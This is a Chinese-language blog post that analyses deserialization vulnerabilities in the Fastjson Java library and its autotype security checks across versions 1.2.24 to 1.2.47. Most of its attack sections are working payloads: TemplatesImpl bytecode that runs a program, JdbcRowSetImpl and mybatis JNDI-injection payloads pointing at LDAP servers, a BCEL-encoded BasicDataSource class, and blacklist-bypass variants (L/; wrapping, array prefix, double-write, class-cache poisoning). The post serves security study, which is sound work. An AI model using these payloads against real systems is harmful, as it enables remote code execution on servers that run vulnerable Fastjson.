fastjson
将java中的类和json相互转化的一个工具.
简单使用
javabean类转json
public class FastjsonTest {
public static void main(String[] args) {
User user = new User();
String json = JSON.toJSONString(user);
System.out.println(json);
}
}
{"id":"yyyy-MM-dd HH:mm:ss"}
自省支持
使转化json中记录了类的类型.
public class FastjsonTest {
public static void main(String[] args) {
User user = new User();
String json = JSON.toJSONString(user,SerializerFeature.WriteClassName);
System.out.println(json);
}
}
{"@type":"User","id":"yyyy-MM-dd HH:mm:ss"}
json转javabean类
parseObject
存在@type
public class POC1 {
public static void main(String[] args) {
String payload="{\"@type\":\"User\",\"id\":11,\"name\":\"ll\"}";
System.out.println(JSON.parseObject(payload, User.class).getClass());
}
}
无参构造
setId
setName
class User
public class POC1 {
public static void main(String[] args) {
String payload="{\"@type\":\"User\",\"id\":11,\"name\":\"ll\"}";
System.out.println(JSON.parseObject(payload).getClass());
}
}
无参构造
setId
setName
getId
getNameclass com.alibaba.fastjson.JSONObject
使用parseObject可以指定转化后的类型.同时我们可以看出未指定类型的时候,是先初始化类然后在使用get方法来获取其中的属性来创建JSONObject类的.
未存在@type
public class POC1 {
public static void main(String[] args) {
String payload="{\"id\":11,\"name\":\"ll\"}";
System.out.println(JSON.parseObject(payload, User.class).getClass());
}
}
无参构造
setId
setName
class User
public class POC1 {
public static void main(String[] args) {
String payload="{\"id\":11,\"name\":\"ll\"}";
System.out.println(JSON.parseObject(payload).getClass());
}
}
class com.alibaba.fastjson.JSONObject
不使用@type对指定类的无影响,未指定类的就不会进行初始化了.
parse
public class POC1 {
public static void main(String[] args) {
String payload="{\"id\":11,\"name\":\"ll\"}";
System.out.println(JSON.parse(payload).getClass());
}
}
class com.alibaba.fastjson.JSONObject
未指定@type就不存在实例化.
源码解析
因为parseObject只要存在@type就可以进行反序列化,后文的分析即以parseObject()为主
从调用链来看,是通过反射来实现调用类的属性和方法的.我们分析一下这些所涉及的类
JSON
public static JSONObject parseObject(String text) {
Object obj = parse(text);
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}
从这里就看出parseObject方法本质底层是使用的parse,只是进行了一次转化而已.
从这里看的话,JSON是初始化了一个DefaultJSONParser,并进行了调用.
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
DefaultJSONParser
我们发现这时传递了了class,那么DefaultJSONParser其中就一定有关于对类的类型确认的逻辑.
JavaBeanDeserializer
传递了对象,即对一个类进行实例化.
DefaultFieldDeserializer
对FieldDeserializer类进行了一些配置
FieldDeserialize
Map map = (Map)method.invoke(object);
使用反射直接调用变量中的方法,
反序列化
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
TemplatesImpl
限制
Feature.SupportNonPublicField开启
因为我们要对私有属性进行一个赋值
我们想要调用的方法为
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
我们发现这刚好就是一个get方法,我们查看一下是否有对应的属性
/**
* Output properties of this translet.
*/
private Properties _outputProperties;
我们发现存在下划线,你们是否可以调用,我们看看源码.由上文的源码逻辑分析来看,关于类的实例化的处理是JavaBeanDeserializer.我们直接查找下划线试试.发现是存在下划线的处理的.那么大概率是可以调用的.
for(i = 0; i < key.length(); ++i) {
char ch = key.charAt(i);
if (ch == '_') {
snakeOrkebab = true;
key2 = key.replaceAll("_", "");
break;
}
{
"@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes" : ["yv66vgAAADMAHAEAA0NhdAcAFgEAEGphdmEvbGFuZy9PYmplY3QHAAMBAApTb3VyY2VGaWxlAQAIQ2F0LmphdmEBAAg8Y2xpbml0PgEAAygpVgEABENvZGUBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQALbm90ZXBhZC5leGUIABABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAASABMKAAsAFAEAFkV2aWxDYXQ2NTM4ODI3MzI3MTQxMDABAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAXAQAGPGluaXQ+DAAZAAgKABgAGgAhAAIAGAAAAAAAAgAIAAcACAABAAkAAAAWAAIAAAAAAAq4AA8SEbYAFVexAAAAAAABABkACAABAAkAAAARAAEAAQAAAAUqtwAbsQAAAAAAAQAFAAAAAgAG"],
"_name" : "a",
"_tfactory" : {},
"outputProperties" : {}
}
JdbcRowSetImpl
限制
可以进行出网
符合jndi攻击限制
其中的setAutoCommit会执行一个lookup
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
那么我们的目标就是控制this.getDataSourceName(),显然可以通过setDataSourceName()来进行设置.
public void setDataSourceName(String var1) throws SQLException {
if (this.getDataSourceName() != null) {
if (!this.getDataSourceName().equals(var1)) {
super.setDataSourceName(var1);
this.conn = null;
this.ps = null;
this.rs = null;
}
} else {
super.setDataSourceName(var1);
}
}
那么我们就可以实现jndi注入攻击了.
public class FastjsonTest {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1099/#Exp\", \"autoCommit\":false}";
JSON.parse(payload);
}
}
BasicDataSource
这里我们要利用的就是它的getConnection()方法来实现任意代码执行,具体原理参考BCEL反序列化漏洞原理
{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbn$daP$Q$3d$X$M6$8e$J$8f$U$f2h$9e$7d$C$L$yu$L$ea$a6J7u$93$wD$e9$fa$fa$e6$8a$5e062$97$88$3f$ea$9a$N$ad$ba$e8$H$f4$a3$aa$ccu$9eRZK$9e$f1$9c$99s$e6$8c$fc$e7$ef$af$df$A$de$e1$8d$L$H$9b$$$b6$b0$ed$60$c7$e4$e76v$5d$U$b0gc$df$c6$BC$b1$afb$a5$df3$e4$5b$ed$L$G$ebCr$v$Z$w$81$8a$e5$c9$7c$S$ca$f4$9c$87$R$n$f5$m$R$3c$ba$e0$a92$f5$zh$e9oj$c6$b0$j$88d$e2_$f2t$y$d30Y$f8$a1$90$91$7f$7c$a5$a2$k$83$d3$X$d1$ed$GF$8cF0$e2W$dc$8fx$3c$f4$8f$XBN$b5Jb$g$x$P4$X$e3$cf$7c$9a$v$93I$Gw$90$ccS$n$3f$w$b3$a9d$e4$ba$86$eb$a1$E$d7$c6$a1$87$p$bc$m$7dr$r$bar$n$3d$bc$c4$x$86$8d$7f$e8$7bx$N$97a$f3$3f$$$Z$aa$P$a4$d3p$q$85f$a8$3d$40g$f3X$ab$J$99p$87R$df$X$8dV$3bx2C$97X$e4E0$bcm$3d$ea$Ot$aa$e2a$ef1$e1K$9a$I9$9b$R$a12$a5$a6$ce$ee$3fO$b9$90t$97M$bf$cd$3c90s$z$c55$aa$7c$ca$8cr$a1$f3$Dl$99$b5$3d$8a$c5$M$cc$a3L$d1$bb$Z$c0$3a$w$94$jT$ef$c9$3c$T$D$ea$3f$91$ab$e7W$b0$be$7e$87$f3$a9$b3Bq$99$e1$r$e2$WH$c5$u6$e9$cb$e8$962$d4$se$H5R$ba$dbP$86Eu$9d$aa$Nzm$e4$C$h$cf$yj42S$cdk$dfl$i$C$80$C$A$A"
}
安全机制与bypass
parse()调用get方法
fastjson<=1.2.36
{
{
"aaa": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbn$daP$Q$3d$X$M6$8e$J$8f$U$f2h$9e$7d$C$L$yu$L$ea$a6J7u$93$wD$e9$fa$fa$e6$8a$5e062$97$88$3f$ea$9a$N$ad$ba$e8$H$f4$a3$aa$ccu$9eRZK$9e$f1$9c$99s$e6$8c$fc$e7$ef$af$df$A$de$e1$8d$L$H$9b$$$b6$b0$ed$60$c7$e4$e76v$5d$U$b0gc$df$c6$BC$b1$afb$a5$df3$e4$5b$ed$L$G$ebCr$v$Z$w$81$8a$e5$c9$7c$S$ca$f4$9c$87$R$n$f5$m$R$3c$ba$e0$a92$f5$zh$e9oj$c6$b0$j$88d$e2_$f2t$y$d30Y$f8$a1$90$91$7f$7c$a5$a2$k$83$d3$X$d1$ed$GF$8cF0$e2W$dc$8fx$3c$f4$8f$XBN$b5Jb$g$x$P4$X$e3$cf$7c$9a$v$93I$Gw$90$ccS$n$3f$w$b3$a9d$e4$ba$86$eb$a1$E$d7$c6$a1$87$p$bc$m$7dr$r$bar$n$3d$bc$c4$x$86$8d$7f$e8$7bx$N$97a$f3$3f$$$Z$aa$P$a4$d3p$q$85f$a8$3d$40g$f3X$ab$J$99p$87R$df$X$8dV$3bx2C$97X$e4E0$bcm$3d$ea$Ot$aa$e2a$ef1$e1K$9a$I9$9b$R$a12$a5$a6$ce$ee$3fO$b9$90t$97M$bf$cd$3c90s$z$c55$aa$7c$ca$8cr$a1$f3$Dl$99$b5$3d$8a$c5$M$cc$a3L$d1$bb$Z$c0$3a$w$94$jT$ef$c9$3c$T$D$ea$3f$91$ab$e7W$b0$be$7e$87$f3$a9$b3Bq$99$e1$r$e2$WH$c5$u6$e9$cb$e8$962$d4$se$H5R$ba$dbP$86Eu$9d$aa$Nzm$e4$C$h$cf$yj42S$cdk$dfl$i$C$80$C$A$A"
}
}:"xxx"
}
在{“@type”: “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”……} 这一整段外面再套一层{},这样的话会把这个整体当做一个JSONObject,会把这个当做key,值为xxx。
在DefaultJSONParser.parseObject方法后面会调用key的toString方法
$ref调用
astjson解析到ref会判断为是一个引用,[1]表示的是数组里的第二个元素,可以看到第二个元素是一个User对象。则
{
{ "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbn$daP$Q$3d$X$M6$8e$J$8f$U$f2h$9e$7d$C$L$yu$L$ea$a6J7u$93$wD$e9$fa$fa$e6$8a$5e062$97$88$3f$ea$9a$N$ad$ba$e8$H$f4$a3$aa$ccu$9eRZK$9e$f1$9c$99s$e6$8c$fc$e7$ef$af$df$A$de$e1$8d$L$H$9b$$$b6$b0$ed$60$c7$e4$e76v$5d$U$b0gc$df$c6$BC$b1$afb$a5$df3$e4$5b$ed$L$G$ebCr$v$Z$w$81$8a$e5$c9$7c$S$ca$f4$9c$87$R$n$f5$m$R$3c$ba$e0$a92$f5$zh$e9oj$c6$b0$j$88d$e2_$f2t$y$d30Y$f8$a1$90$91$7f$7c$a5$a2$k$83$d3$X$d1$ed$GF$8cF0$e2W$dc$8fx$3c$f4$8f$XBN$b5Jb$g$x$P4$X$e3$cf$7c$9a$v$93I$Gw$90$ccS$n$3f$w$b3$a9d$e4$ba$86$eb$a1$E$d7$c6$a1$87$p$bc$m$7dr$r$bar$n$3d$bc$c4$x$86$8d$7f$e8$7bx$N$97a$f3$3f$$$Z$aa$P$a4$d3p$q$85f$a8$3d$40g$f3X$ab$J$99p$87R$df$X$8dV$3bx2C$97X$e4E0$bcm$3d$ea$Ot$aa$e2a$ef1$e1K$9a$I9$9b$R$a12$a5$a6$ce$ee$3fO$b9$90t$97M$bf$cd$3c90s$z$c55$aa$7c$ca$8cr$a1$f3$Dl$99$b5$3d$8a$c5$M$cc$a3L$d1$bb$Z$c0$3a$w$94$jT$ef$c9$3c$T$D$ea$3f$91$ab$e7W$b0$be$7e$87$f3$a9$b3Bq$99$e1$r$e2$WH$c5$u6$e9$cb$e8$962$d4$se$H5R$ba$dbP$86Eu$9d$aa$Nzm$e4$C$h$cf$yj42S$cdk$dfl$i$C$80$C$A$A"
}
{
"$ref": "$[0].Connection"
}
}
1.2.25
public class POC1 {
public static void main(String[] args) {
String payload="{\"@type\":\"User\",\"id\":11,\"name\":\"ll\", \"t1\":{}}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
System.out.println(JSON.parseObject(payload).getClass());
}
}
autoTypeSupport即是1.2.25新的一个配置.
安全机制
我们使用之前的playload,会发现出现报错.我们对比一下1.2.25和1.2.24的差异.
我们会发现逻辑中出现了一个新的config.checkAutoType().可以看到在解析过程中,只要key值为@type
时,就会进入checkAutoType
函数尝试获取类.我们先观察一下其中的条件分支,我们观察那些不被autoTypeSupport配置影响的逻辑.
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
他们存在的主要原因是在于fastjson想让一些基础类(还有一些白名单中的异常类)可以不受SupportAutoType
限制就可以反序列化
所以从代码的逻辑来看,一下情况都返回class
acceptHashCodes
白名单INTERNAL_WHITELIST_HASHCODES
内部白名单TypeUtils.mappings
mappings缓存deserializers.findClass
指定类typeMapping.get
默认为空JsonType
注解exceptClass
存在期望类
我们的报错具体是由这段代码引发的
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
那么很明显denyList就是黑名单了.acceptList就是一个白名单.
具体使用如下
未开启autotyesupport时,会有以下的步骤:
- 判断typename是否在黑名单中(以黑名单中的类名开头),如果是则直接拦截
- 判断typename是否在白名单中(默认为空),如果是则根据类名寻找类
可以看到是先进行了一个黑名单的过滤,再从白名单中寻找允许的类。
当开启autotypesupport时,会有以下的步骤:
- 判断typename是否在在白名单中,如果是则直接根据类名寻找类并返回
- 判断typename是否在黑名单中(以黑名单中的类名开头),如果是则直接拦截
TypeUtils.loadClass(typeName, this.defaultClassLoader)
: 调用这个方法去寻找类并返回
即开启autotypesupport后,只要不在黑名单即可
bypass
开启autotypesupport
1.2.25-1.2.41
{
"@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName": "ldap://127.0.0.1:1389/Basic/Command/calc.exe",
"autoCommit": true
}
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:1389/Basic/Command/calc.exe","autoCommit":true}]}
上文我们提到过,开启autotypesupport后,假如一个类即不在黑名单也不在白名单里.会直接使用`TypeUtils.loadClass来进行一个加载.
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className == null || className.length() == 0) {
return null;
}
Class<?> clazz = mappings.get(className);
if (clazz != null) {
return clazz;
}
if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
问题就在于这里对[和L的处理.[和L是JNI的字段描述符,以L
开头;;
结尾代表的是java中的Object,以[
开头代表的是数组。所以在恶意类前添加L或[,那么就可以绕过对L或[的检查.加载到我们的恶意类.
未开启autotypesupport
利用mappings
缓存的绕过
在MiscCodec
中调用了TypeUtils.loadClass.
当class是一个java.lang.Class
类时,会去加载指定类.将类写入mappings
缓存
if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/badNameClass",
"autoCommit":true
}
}
1.2.42
安全机制
我们发现现在是对hash进行对比.并且会去除头尾的 L
[
;
但是只是一次过滤.
bypass
开启autotypesupport
我们直接经典的双写绕过.
{
"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName": "ldap://127.0.0.1:1389/Basic/Command/calc.exe",
"autoCommit": true
}
1.2.43
安全机制
这个版本的fastjson判断只要以LL开头就直接抛出异常:
我们就可以使用,以[开头的来进行绕过
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:1389/Basic/Command/calc.exe","autoCommit":true}]}
1.2.44
这个版本的fastjson判断只要以[
开头就抛出异常,以;
结尾也抛出异常,因此我们上述的绕过方法都失效了:
long h1 = (-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L;
if (h1 == -5808493101479473382L) {
throw new JSONException("autoType is not support. " + typeName);
} else if ((h1 ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
throw new JSONException("autoType is not support. " + typeName);
}
这个bypass主要是用到的一个黑名单外的类,其是mybatis包里的类,所以需要有mybatis的依赖:
{
"@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties": {
"data_source": "ldap://127.0.0.1:23457/Command8"
}
}
1.2.47
到1.2.47这个都是可以用的
{
"payload1": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"payload2": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}
}
1.2.47之后的大多条件就比较复杂了,这些版本里也没啥很好的绕过方法,网上多是从黑名单中结合JNDI注入找漏网之鱼(找到的多为组件类,需要目标机器上有该组件才能打https://paper.seebug.org/1155/)以及expectClass绕过AutoType
参考文章
https://xz.aliyun.com/t/12096#toc-4
https://longlone.top/安全/java/java安全/组件安全/fastjson/#安全机制与bypass
https://www.kingkk.com/2020/06/浅谈下Fastjson的autotype绕过/
标签:fastjson,String,com,class,className,漏洞,序列化,type,public From: https://www.cnblogs.com/Ho1dF0rward/p/18425615